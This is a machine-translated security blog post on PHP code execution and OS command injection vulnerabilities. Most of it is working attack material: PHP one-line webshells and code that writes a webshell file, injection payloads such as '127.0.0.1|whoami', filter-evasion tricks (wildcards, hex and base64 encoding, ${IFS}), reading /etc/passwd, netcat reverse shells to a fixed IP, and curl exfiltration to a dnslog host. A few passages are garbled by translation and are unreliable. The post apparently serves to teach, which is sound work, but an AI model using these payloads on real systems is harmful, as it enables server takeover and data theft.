当前位置:网站首页>Rce code and Command Execution Vulnerability
Rce code and Command Execution Vulnerability
2022-07-06 04:53:00 【w01ke】
stay Web In application, sometimes programmers consider flexibility 、 Conciseness , Will be called in the code Code or command execution functions to handle . For example, when the application calls some functions that can convert strings into code , It doesn't consider whether the user can control this string , Will cause Code Execution Vulnerability . Also call the system command processing , Will create a command execution vulnerability .
One 、 Code execution
1、 Script
(1)PHP
PHP Functions that can execute code in , Usually used to write a sentence Trojan horse , May lead to code execution vulnerabilities , Here is a summary of the code execution function .
Common code execution functions , Such as
eval()、assert()、preg_replace()、create_function()
array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()
File manipulation functions 、 Dynamic functions ($a($b))
a、eval()
eval()
Function takes a string according to PHP Code to calculate , As a common saying, backdoor program :
<?php eval($_POST[cmd]);?>
b、assert()
And eval similar , The string is assert()
treat as PHP Code to execute , Such as :
<?php
//?cmd=phpinfo()
assert($_REQUEST[cmd]);
?>
c、preg_replace
grammar :mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
Search for subject Match pattern Part of , With replacement Replace .
Parameter description :
[+] $pattern: Patterns to search , It can be a string or an array of strings .
[+] $replacement: String or array of strings to replace .
[+] $subject: The target string or array of strings to search for replacement .
[+] $limit: Optional , For each pattern, for each subject The maximum number of times a string can be replaced . The default is -1( unlimited ).
[+] $count: Optional , The number of times the replacement was performed .
** Return value :** If subject Is an array , preg_replace()
Returns an array , In other cases, a string is returned . If the match is found , After replacement subject Returned , In other cases, return unchanged subject. If an error occurs , return NULL.
Dangerous point :preg_replace()
Function is originally to perform a regular expression search and replace , But because there is danger /e Modifier , send preg_replace()
take replacement Parameter as PHP Code
Sample code :
<?php
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>
d、create_function()
grammar :string create_function(string $args, string $code)
string $args Variable part
string $code Method code part
give an example :
create_function('$fname','echo $fname."Zhang"')
Be similar to :
function fT($fname) {
echo $fname."Zhang";
}
Take an official example :
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc";
echo $newfunc(2, M_E) . " ";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>
create_function It is mainly used to create anonymous functions , If there is no strict filtering of parameter passing , Attackers can construct special strings to pass to create_function()
Execute arbitrary orders .
Now use create_function()
Implement code injection
Test environment version :apache +php 5.2、apache +php 5.3
Code in question
<?php
//index.php?id=2;}phpinfo();/*
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "==============================";
?>
Utilization method :index.php?id=2;}phpinfo();/*
Realization principle :
because id= 2;}phpinfo();/*
The execution function is :
Source code :
function fT($a) {
echo "test".$a;
}
Post injection code :
function fT($a) {
echo "test";}
phpinfo();/*;// Here is the injection code .
}
e、array_map
array_map()
Function to apply a user-defined function to each value in the array , And return the array with new value after the user-defined function . The number of arguments the callback should take and pass to array_map()
The array number of functions is the same .
Code example :
<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>
f、call_user_func()/call_user_func_array ()
call_user_func
—— Call the first parameter as a callback function , The remaining parameters are parameters of the callback function .
call_user_func_array
—— Call callback function , And take an array parameter as the parameter of the callback function
<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
<?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>
g、array_filter()
array array_filter(array $array [, callable $callback [, int $flag = 0 ]] )
In turn array Each value in the array is passed to callback function . If callback The function returns true, be array The current value of the array will be included in the returned result array . The key name of the array remains unchanged .
<?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>
h、usort()、uasort()
usort()
The array is sorted by user-defined comparison function .
uasort()
Use the user-defined comparison function to sort the values in the array and keep the index association .
Code example :
php Environmental Science >=5.6 Ability to use
<?php usort(...$_GET);?>
Utilization mode :
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();
php Environmental Science >=<5.6 Ability to use
<?php usort($_GET,'asse'.'rt');?>
Utilization mode :
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();
Reference link :https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
i、 File manipulation functions
file_put_contents()
Function to write a string to a file .
fputs()
Function write file
Code example :
<?php
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
?>
j、 Dynamic functions
PHP Functions are concatenated directly from strings
Code example :
<?php
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>
(2)Java
To be updated …
(3)Python
To be updated …
2、 produce
Web Source code :thinkphp、eyoucms、wordpress
Middleware platform :Tomcat、apache、struts2、Redis、Nginx(PHP Remote Code Execution Vulnerability recurrence (CVE-2019-11043))
Other environments :php-cgi、jenkins-cl、java RMI
3、 monitoring
- White box : Code audit
- Black box : Leak scanning tool 、 Open loopholes 、 Manually check the parameters and function points
4、 defense
Sensitive function disable
Variable filtering or fixed
waf product
Two 、 Command execution
1、 The principle of Command Execution Vulnerability
Applications sometimes need to call functions that execute system commands , If in PHP in , Use sysytem
、exec
、shell_exec
、passthru
、 pcntl_exec
、popen
、proc_popen
、 The quotation marks
Such functions can execute system commands . When hackers can control the parameters in these functions , You can splice malicious system commands into normal commands , This results in command execution attacks , This is the command execution vulnerability
2、 Command execution exploit condition
- The application calls the function that executes the system command
- The user input is spliced into the command line as a parameter of the system command
- The user input is not filtered or the filtering is not strict
3、 Vulnerability classification
(1) Code layer filtering is not strict
Some core code of commercial application is encapsulated in binary file , stay web In application through system Function to call :system("/bin/program --arg $arg");
(2) System vulnerabilities cause command injection
bash Broken shell (CVE-2014-6271)
(3) The third-party component called has a Code Execution Vulnerability
Such as wordPress Used to process pictures imageMagick Components
JAVA Command Execution Vulnerability in (struts2/ElasticsearchGroovy etc. )
ThinkPHP Command execution
4、 Loophole damage
Inherit Web The authority of the service program to execute system commands or read and write files
rebound shell
Control the whole website and even the server
Further intranet penetration
wait
5、 Command Execution Vulnerability attack
page rec.php Provides ping The function of , When given parameters IP Input 127.0.0.1 when , The program will execute ping 127.0.0.1, And then ping The result of is returned to the page
And if the parameter IP Set to 127.0.0.1|dir, Then visit again , From the returned results, we can see that , The program directly returns the directory structure to the page , Here we use the pipe symbol "|" Let the system execute the command dir
(1) Command mosaics |、||、&、&& The difference between :
& | Whether the front and back commands are successfully executed or not, the front and back commands will be executed |
---|---|
&& | have Short circuit effect . Only after the previous command is executed successfully can the following command be executed |
| | Pipe, , The output of the previous command , As the next command parameter ( Input ) . In splicing , Whether it's on the left false still true, It's going to be done on the right |
|| | have Short circuit effect . The following command can only be executed if the previous command is not executed successfully |
(2)Windows Pipeline symbols supported by series
- |: Execute the following statements directly , for example :
ping 127.0.0.1|whoami
- ||: If the previously executed statement fails to execute , Then execute the following statement , The preceding statement can only be false . for example
ping 2||whoami
- &: If the previous statement is false, execute the following statement directly , The preceding sentence is true or false . for example :
ping 127.0.0.1&whoami
- &&: If the previous statement is false, you will make a direct error , Do not execute the following statements , The previous statement can only be true . for example :
ping 127.0.0.1&&whoami
(3)Linux System supported pipe symbols
- ; : Whether the front is true or false , After executing the previous statement, execute the following . for example :ping
127.0.0.1;whoami
- |: Display the results of the execution of the following statements , for example :
ping 127.0.0.1|whoami
- ||: When the previously executed statement makes an error , Execute the following statement . for example
ping 1||whoami
- &: If the previous statement is false, execute the following statement directly , The preceding sentence is true or false . for example :
ping 127.0.0.1&whoami
- &&: If the previous statement is false, you will make a direct error , Do not execute the following statements , The previous statement can only be true . for example :
ping 127.0.0.1&&whoami
(4) Example analysis
ping 127.0.0.1&ipconfig
# stay linux The system executes almost simultaneouslyping 127.0.0.1 && ipconfig
# stay linux After the execution in the system, you can execute the laterping 127.0.0.1 &;& ipconfig
# among **;** Will be resolved to nullping 127.0.0.1 || ipconfig
# stay linux Two of them **||** = orping 127.0.0.1 | ipconfig
# stay linux in **|** It's called pipe symbol , Give the result of the previous command execution to the following command execution
6、 Command Execution Vulnerability code analysis
Server-side processing ping The code for is as follows , Program acquisition GET Parameters IP, Then splice it to system() Function , utilize system() Function execution ping The function of , But there are no parameters here IP Do filtering and testing , As a result, other system commands can be executed by using pipe symbols
<?php
echo system("ping -n 2 " . $_GET['ip']);
?>
7、 Command Execution Vulnerability repair suggestions
Try not to use commands to execute functions
The variables submitted by the client should be filtered and detected before entering the command function
Before using dynamic functions , Make sure that the function used is one of the specified functions
Yes PHP language , It is better not to use the risk function that cannot be fully controlled
3、 ... and 、 Command execution WAF Bypass technique
grammar :
character | explain |
---|---|
* | Match any character of any length |
? | Match any single character |
[list] | Match within the specified range (list) Any single character , It can also be a set of single characters |
[^list] | Matches any single character or character set outside the specified range |
[!list] | Same as [^list] |
{str1,str2,…} | matching srt1 perhaps srt2 Or more strings , It can also be a collection |
Special character set :
character | significance |
---|---|
[:alnum:] | Any number or letter |
[:alpha:] | Any letter |
[:space:] | Space |
[:lower:] | Lowercase letters |
[:digit:] | Arbitrary number |
[:upper:] | Any capital letter |
[:cntrl:] | Controller |
[:graph:] | graphics |
[:print:] | Printable characters |
[:punct:] | Punctuation |
[:xdigit:] | Hexadecimal number |
[:blank:] | Blank character ( Not verified ) |
Linux Shell Metacharacters , When using wildcards, they may be recognized as metacharacters if they are not escaped
character | effect |
---|---|
IFS | from < space > or < tab > or < enter > One of the three |
CR | from < enter > produce |
= | Set variable |
$ | To replace with a variable or operation |
> | Redirect standard output |
< | Redirect standard input |
| | Command pipeline |
& | Redirect file descriptor , Or execute the command silently |
( ) | Put the commands in it in nested subshell perform , Or for operation or command replacement |
{ } | Put the commands in it in non-named function In the implementation of , Or in the scope of variable substitution |
; | At the end of the previous command , And ignore the return value , Continue with the next command |
&& | At the end of the previous command , If the return value is true, Continue with the next command |
|| | At the end of the previous command , If the return value is false, Continue with the next command |
! | perform history The command |
1、 Face shielding keywords ( Blacklist bypasses )
(1) Use connectors
a、 Single quotation marks / Double quotes
For example, there are Linux Will shield ls, You can use single quotation marks to bypass . for example 127.0.0.1 | l's'
To bypass , But remember one thing : The number of quotation marks must be even , To complete the closing ( Command completion closing , file / The directory name is closed , Cannot include a quotation mark and a file in a command / A quotation mark is closed in the directory , This will not close )
b、 The backslash \
\c\a\t pas\s\.tx\t
, Don't close , As many as you want . But be careful not to have two \ In one piece , Otherwise \ Will be escaped into a string \
(2) Use similar commands
a、 Read file bypass
(1) cat
(2) paste: Will put each file in a column to column way , To merge in a row
(3) more: Page by page display file content
(4) less: And more similar , But compared to more What's better is , He can [pg dn][pg up] Page turning
(5) head: Look at the first few lines
(6) tac: Start with the last line to show , It can be seen that tac yes cat Reverse display of
(7) tail: Look at the last few lines
(8) nl: On display , Output line number by the way
(9) od: Read file contents in binary mode
(10) vi: An editor , This can also be viewed
(11) vim: An editor , This can also be viewed
(12) sort: You can see
(13) uniq: You can see
(14) file -f: Report the details of the error
$ more ts1 // see file ts1
1
2
$ more ts2 // see file ts2
cat
paste
$ cat ts1 ts2 // Merge by line
1
2
cat
paste
$ paste ts1 ts2 // Merge by columns
1 cat
2 paste
(3) Use wildcards
a、 Low order usage
Shielded php:127.0.0.1 | c'a't ../haha.ph*
127.0.0.1 | c'a't ../haha.ph?
Shielding commands and paths :/bin/cat /etc/passwd
become /???/c?t /??c/p???w?
, occasionally WAF It is not allowed to use too many ? No /?in/c?t /?tc/p?sswd
/???/[l-n]s Substitutable ls
/???/c?t flag Substitutable cat flag
ls *.php List all... In the current directory php file
b、 Advanced usage ( No alphanumeric match )
If we encounter a regular will Letter
、 Numbers
、$
These are filtered out , If you want us to execute a script , Suppose the script name is chakdiD And in the root directory /etc Next , We can use :
. /???/??????[@-[]
[@-[] Means to take from @ To [ Characters between , The characters between them are capital letters . In this way, the command without alphanumeric matching is realized , You can bypass the regular .
A few examples :
/???/[:lower:]s
/?s?/???/[n]c 2130706433 8888 -e /???/b??h
ls {
/ru,/tmp}n
(4) Variable splicing
[email protected]: a=c;b=at;c=fl;d=ag;$a$b $c$d
you are good!
(5) Code bypass
a、 Hexadecimal code
Reference resources https://zhidao.baidu.com/question/628764933342214124.html
Corresponding to ACSII code ,\ Is an octal escape character ,\x Hexadecimal escape character
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{
printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag
Example
[email protected]: $(printf "\154\163")
firefox-esr.desktop flag
b、Base64 code
[email protected]: `echo 'Y2F0Cg==' | base64 -d` flag
you are good!
(6) Space filtering
a、${IFS}
stay shell in , There is a useful environment variable $IFS,IFS Express Internal Field Separator ( Internal field separator ), The default is the space character
bash Many commands will split words , Most of the time, the default is to use spaces as separators , Sometimes I encounter tabs 、 Line breaks are also separated . The most typical is "for i in a b c
", It splits the list of variables "a b c" Make it three variables . This separator is composed of IFS Variable
default IFS When encountering a space 、 tabs \t
Match the line \n
Will automatically separate into the next step . But the treatment of spaces is a little different , The spaces on both sides of the beginning and end of the line are not handled , And multiple consecutive spaces are treated as one space by default
cat${IFS}/etc/passwd
b、$IFS$9
$9 Refers to the first 9 Parameters
[email protected]: cat$IFS$9flag
you are good!
[email protected]: cat$IFS$1flag
you are good!
c、%20、%09(tab)( need PHP Environmental Science , No demo )
d、< perhaps <> Redirect
[email protected]: cat<flag
you are good!
[email protected]: cat<>flag
you are good!
(7)nc rebound shell
nc -e /bin/bash 192.168.0.104 3456
To avoid symbols , Can be IP Address conversion to integer :nc -e /bin/bash 3232235624 3456
Use wildcards : /??n/?c -e /??n/b??h 3232235624 3456
(8) Use uninitialized bash Variable
stay bash The environment allows us to use uninitialized bash Variable , such as a , a, a,b,$c We didn't define them in advance , Output and see :
[email protected]:~# echo $a
[email protected]:~# echo $b
[email protected]:~# echo $c
[email protected]:~#
Uninitialized variable values are Null
Read /etc/passwd: cat$a /etc$a/passwd$a
test WAF:
<?php
echo "OK";
system('dig'.$_GET['host']);
?>
which The instruction will be in the environment variable P A T H set up Set up Of Objective record in check look for operator close strip Pieces of Of writing Pieces of , First look for Out n c writing Pieces of road path : ‘ w w w . b a i d u . c o m ; PATH Search for qualified files in the set directory , Find out first nc File path :`www.baidu.com; PATH set up Set up Of Objective record in check look for operator close strip Pieces of Of writing Pieces of , First look for Out nc writing Pieces of road path :‘www.baidu.com;s/bin s / w h i c h s/which s/whichs nc$s`
know nc Where is it , rebound shell:www.baidu.com;/bin$s/nc$s -e/bin$s/bash$s 3232235624 3456
,-e Whether there is a space behind it or not
2、 Some files cannot be executed
Give execution permission before running
chm'o'd 777 ./key.php
chm\o\d 777 ./key.php
3、 Read the file directly
127.0.0.1;curl file:///etc/passwd
4、 utilize dnslog perhaps http web log
ls | curl xxx.ceye.io/
whoami``
5、 Bypass the length limit
(1)> and >>
Use >
The command will overwrite the contents of the original file , If it is stored in a nonexistent file name , Then a new file will be created and saved
>>
The function of the symbol is to add a string to the end of the file content , The original content will not be overwritten
(2) Command wrap
Execute the command on a new line
[email protected]:~/ desktop $ ca\
> t\
> fl\
> ag
you are good!
You can try to write a file to execute commands
[email protected]: echo "ca\\">shell
[email protected]: echo "t\\">>shell
[email protected]: echo " fl\\">>shell
[email protected]: echo "ag">>shell
[email protected]: cat shell
ca\
t\
fl\
ag
[email protected]: sh shell
you are good!
6、 Introverted execution bypasses
command
and $( command )
It's all the way to execute commands
Example
[email protected]: echo "m0re`cat flag`"
m0reyou are good!
[email protected]: echo "m0re $(cat flag)"
m0re you are good!
[email protected]: echo "m0re $(pwd)"
m0re /root
Four 、 Resources involved
边栏推荐
- Introduction of several RS485 isolated communication schemes
- SQL注入漏洞(MSSQL注入)
- Distributed transaction solution
- 2021robocom robot developer competition (Preliminary)
- On the solution of es8316's audio burst
- How does vs change the project type?
- Leetcode dynamic planning day 16
- Etcd database source code analysis -- etcdserver bootstrap initialization storage
- Database - MySQL storage engine (deadlock)
- [try to hack] John hash cracking tool
猜你喜欢
从0到1建设智能灰度数据体系:以vivo游戏中心为例
A blog to achieve embedded entry
ISP learning (2)
[数学建模] 微分方程--捕鱼业的持续发展
RT thread analysis log system RT_ Kprintf analysis
Unity screen coordinates ugui coordinates world coordinates conversion between three coordinate systems
Basic knowledge and examples of binary tree
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
Extension of graph theory
ORM aggregate query and native database operation
随机推荐
Finance online homework
web工程导入了mysql驱动jar包却无法加载到驱动的问题
Can CDC pull the Oracle table in full
8. Static file
[noip2009 popularization group] score line delimitation
ue5 小知识 FreezeRendering 查看视锥内渲染的物体
I'd like to ask about the current MySQL CDC design. In the full volume phase, if a chunk's binlog backfill phase,
Hometown 20 years later (primary school exercises)
Postman assertion
On the solution of es8316's audio burst
Complete list of common functions of turtle module
2021robocom robot developer competition (Preliminary)
Summary of three log knowledge points of MySQL
The kernel determines whether peripherals are attached to the I2C address
Delete subsequence < daily question >
Postman manage test cases
[Chongqing Guangdong education] Suzhou University English film and Television Appreciation reference materials
Quick sort
Ue5 small knowledge points to enable the setting of lumen
MySQL reported an error datetime (0) null